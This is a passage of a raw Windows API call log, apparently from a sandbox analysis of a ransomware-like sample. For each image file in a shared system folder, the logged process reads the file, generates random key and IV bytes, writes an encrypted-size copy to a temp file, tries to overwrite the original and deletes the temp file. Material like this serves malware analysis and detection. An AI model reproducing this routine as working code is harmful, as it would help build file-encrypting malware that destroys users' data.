	[0241.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4d9e67821c6bb955c673c49eeff1653b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4d9e67821c6bb955c673c49eeff1653b"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0241.791] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004d1c04 | out: lpMode=0xc0004d1c04) returned 0
	[0241.791] GetFileType (hFile=0x120) returned 0x1
	[0241.791] WriteFile (in: hFile=0x120, lpBuffer=0xc00012a000*, nNumberOfBytesToWrite=0x1a06, lpNumberOfBytesWritten=0xc0004d1bec, lpOverlapped=0x0 | out: lpBuffer=0xc00012a000*, lpNumberOfBytesWritten=0xc0004d1bec*=0x1a06, lpOverlapped=0x0) returned 1
	[0241.793] CloseHandle (hObject=0x120) returned 1
	[0241.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg\\*", lpFindFileData=0xc0004d1a78 | out: lpFindFileData=0xc0004d1a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.799] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4d9e67821c6bb955c673c49eeff1653b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4d9e67821c6bb955c673c49eeff1653b")) returned 1
	[0241.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.813] SetEvent (hEvent=0xe4) returned 1
	[0241.813] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0) returned 0
	[0241.813] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0) returned 0
	[0241.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0241.814] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004cdbf4 | out: lpMode=0xc0004cdbf4) returned 0
	[0241.814] GetFileType (hFile=0x120) returned 0x1
	[0241.814] GetFileType (hFile=0x120) returned 0x1
	[0241.814] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0004cdc44 | out: lpFileInformation=0xc0004cdc44) returned 1
	[0241.814] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0004cdc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0004cdc28) returned 1
	[0241.815] ReadFile (in: hFile=0x120, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0xc0004cdb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0004cdb04*=0x107e, lpOverlapped=0x0) returned 1
	[0241.838] ReadFile (in: hFile=0x120, lpBuffer=0xc0001ed07e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0004cdb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ed07e*, lpNumberOfBytesRead=0xc0004cdb04*=0x0, lpOverlapped=0x0) returned 1
	[0241.838] CloseHandle (hObject=0x120) returned 1
	[0241.839] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0003f4300 | out: pbBuffer=0xc0003f4300) returned 1
	[0241.839] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000943d0 | out: pbBuffer=0xc0000943d0) returned 1
	[0241.839] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0241.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\75c413270dd893f2f037720e7ca1c156" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\75c413270dd893f2f037720e7ca1c156"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0241.840] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004cdc04 | out: lpMode=0xc0004cdc04) returned 0
	[0241.840] GetFileType (hFile=0x120) returned 0x1
	[0241.840] WriteFile (in: hFile=0x120, lpBuffer=0xc0001ed300*, nNumberOfBytesToWrite=0x117e, lpNumberOfBytesWritten=0xc0004cdbec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ed300*, lpNumberOfBytesWritten=0xc0004cdbec*=0x117e, lpOverlapped=0x0) returned 1
	[0241.843] CloseHandle (hObject=0x120) returned 1
	[0241.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg\\*", lpFindFileData=0xc0004cda78 | out: lpFindFileData=0xc0004cda78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.847] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\75c413270dd893f2f037720e7ca1c156" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\75c413270dd893f2f037720e7ca1c156")) returned 1
	[0241.850] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.862] SetEvent (hEvent=0xe4) returned 1
	[0241.862] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0) returned 0
	[0241.862] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0) returned 0
	[0241.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0241.862] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000113bf4 | out: lpMode=0xc000113bf4) returned 0
	[0241.862] GetFileType (hFile=0x120) returned 0x1
	[0241.863] GetFileType (hFile=0x120) returned 0x1
	[0241.863] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000113c44 | out: lpFileInformation=0xc000113c44) returned 1
	[0241.863] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000113c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000113c28) returned 1
	[0241.863] ReadFile (in: hFile=0x120, lpBuffer=0xc000136000, nNumberOfBytesToRead=0x1aed, lpNumberOfBytesRead=0xc000113b04, lpOverlapped=0x0 | out: lpBuffer=0xc000136000*, lpNumberOfBytesRead=0xc000113b04*=0x18ed, lpOverlapped=0x0) returned 1
	[0241.888] ReadFile (in: hFile=0x120, lpBuffer=0xc0001378ed, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000113b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001378ed*, lpNumberOfBytesRead=0xc000113b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.889] CloseHandle (hObject=0x120) returned 1
	[0241.889] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0003f4440 | out: pbBuffer=0xc0003f4440) returned 1
	[0241.889] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000944b0 | out: pbBuffer=0xc0000944b0) returned 1
	[0241.889] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082601 | out: pbBuffer=0xc000082601) returned 1
	[0241.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e98252b211b16ac83e3fd9607d568bc9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e98252b211b16ac83e3fd9607d568bc9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0241.890] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000113c04 | out: lpMode=0xc000113c04) returned 0
	[0241.890] GetFileType (hFile=0x120) returned 0x1
	[0241.890] WriteFile (in: hFile=0x120, lpBuffer=0xc00012ba80*, nNumberOfBytesToWrite=0x19ed, lpNumberOfBytesWritten=0xc000113bec, lpOverlapped=0x0 | out: lpBuffer=0xc00012ba80*, lpNumberOfBytesWritten=0xc000113bec*=0x19ed, lpOverlapped=0x0) returned 1
	[0241.893] CloseHandle (hObject=0x120) returned 1
	[0241.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg\\*", lpFindFileData=0xc000113a78 | out: lpFindFileData=0xc000113a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.899] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e98252b211b16ac83e3fd9607d568bc9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e98252b211b16ac83e3fd9607d568bc9")) returned 1
	[0241.902] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.914] SetEvent (hEvent=0x1a0) returned 1
	[0241.914] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0241.915] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0241.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0241.915] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004d1bf4 | out: lpMode=0xc0004d1bf4) returned 0
	[0241.915] GetFileType (hFile=0x120) returned 0x1
	[0241.916] GetFileType (hFile=0x120) returned 0x1
	[0241.916] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0004d1c44 | out: lpFileInformation=0xc0004d1c44) returned 1
	[0241.916] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0004d1c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0004d1c28) returned 1
	[0241.916] ReadFile (in: hFile=0x120, lpBuffer=0xc0000f0000, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000f0000*, lpNumberOfBytesRead=0xc0004d1b04*=0x780, lpOverlapped=0x0) returned 1
	[0241.928] ReadFile (in: hFile=0x120, lpBuffer=0xc0000f0780, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000f0780*, lpNumberOfBytesRead=0xc0004d1b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.928] CloseHandle (hObject=0x120) returned 1
	[0241.929] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0320 | out: pbBuffer=0xc0000c0320) returned 1
	[0241.929] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010a80 | out: pbBuffer=0xc000010a80) returned 1
	[0241.929] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c901 | out: pbBuffer=0xc00023c901) returned 1
	[0241.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7ff1ec6e5b6e349a465d6c84eb352eb6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7ff1ec6e5b6e349a465d6c84eb352eb6"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0241.930] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004d1c04 | out: lpMode=0xc0004d1c04) returned 0
	[0241.931] GetFileType (hFile=0x120) returned 0x1
	[0241.931] WriteFile (in: hFile=0x120, lpBuffer=0xc00023e000*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0xc0004d1bec, lpOverlapped=0x0 | out: lpBuffer=0xc00023e000*, lpNumberOfBytesWritten=0xc0004d1bec*=0x880, lpOverlapped=0x0) returned 1
	[0241.935] CloseHandle (hObject=0x120) returned 1
	[0241.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg\\*", lpFindFileData=0xc0004d1a78 | out: lpFindFileData=0xc0004d1a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.942] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7ff1ec6e5b6e349a465d6c84eb352eb6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7ff1ec6e5b6e349a465d6c84eb352eb6")) returned 1
	[0241.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0241.951] SetEvent (hEvent=0xe4) returned 1
	[0241.951] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0) returned 0
	[0241.951] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004cdd94, lpOverlapped=0x0) returned 0
	[0241.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0241.952] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004cdbf4 | out: lpMode=0xc0004cdbf4) returned 0
	[0241.952] GetFileType (hFile=0x120) returned 0x1
	[0241.952] GetFileType (hFile=0x120) returned 0x1
	[0241.952] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0004cdc44 | out: lpFileInformation=0xc0004cdc44) returned 1
	[0241.952] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0004cdc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0004cdc28) returned 1
	[0241.952] ReadFile (in: hFile=0x120, lpBuffer=0xc0000d6a00, nNumberOfBytesToRead=0x147e, lpNumberOfBytesRead=0xc0004cdb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d6a00*, lpNumberOfBytesRead=0xc0004cdb04*=0x127e, lpOverlapped=0x0) returned 1
	[0241.994] ReadFile (in: hFile=0x120, lpBuffer=0xc0000d7c7e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0004cdb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d7c7e*, lpNumberOfBytesRead=0xc0004cdb04*=0x0, lpOverlapped=0x0) returned 1
	[0241.994] CloseHandle (hObject=0x120) returned 1
	[0241.995] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f9c0 | out: pbBuffer=0xc00000f9c0) returned 1
	[0241.995] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021ad00 | out: pbBuffer=0xc00021ad00) returned 1
	[0241.995] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001501 | out: pbBuffer=0xc000001501) returned 1
	[0241.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a3c5aa0547420a67fbd6fe9be9c6fff2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a3c5aa0547420a67fbd6fe9be9c6fff2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0241.996] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004cdc04 | out: lpMode=0xc0004cdc04) returned 0
	[0241.996] GetFileType (hFile=0x120) returned 0x1
	[0241.997] WriteFile (in: hFile=0x120, lpBuffer=0xc0001ac000*, nNumberOfBytesToWrite=0x137e, lpNumberOfBytesWritten=0xc0004cdbec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ac000*, lpNumberOfBytesWritten=0xc0004cdbec*=0x137e, lpOverlapped=0x0) returned 1
	[0241.999] CloseHandle (hObject=0x120) returned 1
	[0242.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg\\*", lpFindFileData=0xc0004cda78 | out: lpFindFileData=0xc0004cda78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0242.001] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a3c5aa0547420a67fbd6fe9be9c6fff2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a3c5aa0547420a67fbd6fe9be9c6fff2")) returned 1
	[0242.003] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.016] SetEvent (hEvent=0xe4) returned 1
	[0242.016] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0) returned 0
	[0242.016] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000113d94, lpOverlapped=0x0) returned 0
	[0242.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0242.017] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000113bf4 | out: lpMode=0xc000113bf4) returned 0
	[0242.017] GetFileType (hFile=0x120) returned 0x1
	[0242.017] GetFileType (hFile=0x120) returned 0x1
	[0242.017] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000113c44 | out: lpFileInformation=0xc000113c44) returned 1
	[0242.017] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000113c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000113c28) returned 1
	[0242.017] ReadFile (in: hFile=0x120, lpBuffer=0xc0000fa000, nNumberOfBytesToRead=0x1f51, lpNumberOfBytesRead=0xc000113b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000fa000*, lpNumberOfBytesRead=0xc000113b04*=0x1d51, lpOverlapped=0x0) returned 1
	[0242.030] ReadFile (in: hFile=0x120, lpBuffer=0xc0000fbd51, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000113b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000fbd51*, lpNumberOfBytesRead=0xc000113b04*=0x0, lpOverlapped=0x0) returned 1
	[0242.030] CloseHandle (hObject=0x120) returned 1
	[0242.030] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c04a0 | out: pbBuffer=0xc0000c04a0) returned 1
	[0242.030] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010b60 | out: pbBuffer=0xc000010b60) returned 1
	[0242.030] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023cb01 | out: pbBuffer=0xc00023cb01) returned 1
	[0242.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f662a6b9704c3c0c2e8137b4900f98b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f662a6b9704c3c0c2e8137b4900f98b"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0242.032] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000113c04 | out: lpMode=0xc000113c04) returned 0
	[0242.032] GetFileType (hFile=0x120) returned 0x1
	[0242.032] WriteFile (in: hFile=0x120, lpBuffer=0xc000230000*, nNumberOfBytesToWrite=0x1e51, lpNumberOfBytesWritten=0xc000113bec, lpOverlapped=0x0 | out: lpBuffer=0xc000230000*, lpNumberOfBytesWritten=0xc000113bec*=0x1e51, lpOverlapped=0x0) returned 1
	[0242.036] CloseHandle (hObject=0x120) returned 1
	[0242.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg\\*", lpFindFileData=0xc000113a78 | out: lpFindFileData=0xc000113a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0242.044] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f662a6b9704c3c0c2e8137b4900f98b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f662a6b9704c3c0c2e8137b4900f98b")) returned 1
	[0242.046] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.201] SetEvent (hEvent=0x1a0) returned 1
	[0242.201] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0242.201] VirtualAlloc (lpAddress=0xc000474000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000474000
	[0242.202] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0004d1d94, lpOverlapped=0x0) returned 0
	[0242.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0242.203] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004d1bf4 | out: lpMode=0xc0004d1bf4) returned 0
	[0242.203] GetFileType (hFile=0x120) returned 0x1
	[0242.203] GetFileType (hFile=0x120) returned 0x1
	[0242.203] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0004d1c44 | out: lpFileInformation=0xc0004d1c44) returned 1
